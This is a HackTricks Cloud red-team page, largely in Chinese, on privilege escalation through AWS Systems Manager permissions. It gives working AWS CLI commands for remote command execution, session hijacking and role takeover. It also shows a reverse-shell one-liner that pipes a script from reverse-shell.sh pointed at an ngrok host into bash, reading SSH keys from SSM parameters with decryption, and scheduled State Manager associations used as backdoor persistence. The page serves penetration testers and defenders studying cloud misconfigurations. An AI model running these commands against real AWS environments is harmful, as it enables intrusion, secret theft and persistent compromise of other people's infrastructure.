AWS - SSM Privesc
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
SSM
有关 SSM 的更多信息,请参见:
AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum
ssm:SendCommand
拥有权限 ssm:SendCommand 的攻击者可以在运行 Amazon SSM Agent 的实例中 执行命令,并 妥协实例内运行的 IAM Role。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
如果你在已被攻陷的 EC2 实例中使用此技术来 escalate privileges,你可以在本地用以下命令捕获 rev shell:
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
潜在影响: 对运行着 SSM Agents 的实例上附加的 EC2 IAM 角色进行直接 privesc。
ssm:StartSession
具有权限 ssm:StartSession 的攻击者可以在运行 Amazon SSM Agent 的实例上启动类似 SSH 的会话,并接管其中运行的 IAM Role。
# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active
# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"
Caution
要启动会话,你需要安装 SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
Potential Impact: 直接 privesc 到附加在正在运行且运行 SSM Agents 的实例上的 EC2 IAM roles。
Privesc to ECS
When ECS tasks run with ExecuteCommand enabled users with enough permissions can use ecs execute-command to 执行命令 inside the container.
根据 the documentation ,这是通过使用 SSM Session Manager 在用于发起 “exec” 命令的设备与目标容器之间创建一个安全通道来实现的。 (SSM Session Manager Plugin 必需才能使其工作)\
因此,具有 ssm:StartSession 权限的用户只需运行以下命令,即可在启用了该选项的 ECS tasks 中 get a shell inside ECS tasks:
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
.png)
潜在影响: 直接对附加到启用了 ExecuteCommand 的正在运行任务的 ECS IAM 角色进行 privesc。
ssm:ResumeSession
拥有权限 ssm:ResumeSession 的攻击者可以重新在运行 Amazon SSM Agent 的实例中启动类似 SSH 的会话,该实例的 SSM 会话处于已断开状态,并攻陷其内部运行的 IAM Role。
# Check for configured instances
aws ssm describe-sessions
# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
潜在影响: 可直接 privesc 到附加在正在运行且安装了 SSM Agents 且会话已断开的实例上的 EC2 IAM 角色。
ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)
具有上述权限的攻击者将能够列出 SSM 参数 并 以明文读取它们。在这些参数中,通常可以 发现敏感信息,例如 SSH keys 或 API keys。
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption
Potential Impact: 在参数中发现敏感信息。
ssm:ListCommands
拥有此权限的攻击者可以列出所有已发送的 commands,并有望在其中发现 敏感信息。
aws ssm list-commands
潜在影响: 在命令行中发现敏感信息。
ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)
拥有这些权限的攻击者可以列出所有已发送的 commands 并 读取生成的输出,从而有可能在其中发现 敏感信息。
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
潜在影响: 在命令行输出中查找敏感信息。
使用 ssm:CreateAssociation
具有 ssm:CreateAssociation 权限的 attacker 可以创建 State Manager Association 来在由 SSM 管理的 EC2 实例上自动执行命令。这些 associations 可以配置为按固定间隔运行,使其适合用于 backdoor-like persistence,而无需交互式会话。
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
Note
只要 EC2 实例由 Systems Manager 管理、SSM agent 正在运行,且攻击者具有创建 associations 的权限,该持久化方法就能生效。它不需要交互式会话或显式的 ssm:SendCommand 权限。重要:
--schedule-expression参数(例如rate(30 minutes))必须遵守 AWS 的最小间隔 30 分钟。若需立即或一次性执行,请完全省略--schedule-expression—— association 在创建后会执行一次。
Codebuild
你也可以使用 SSM 进入正在构建的 codebuild 项目:
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
HackTricks Cloud

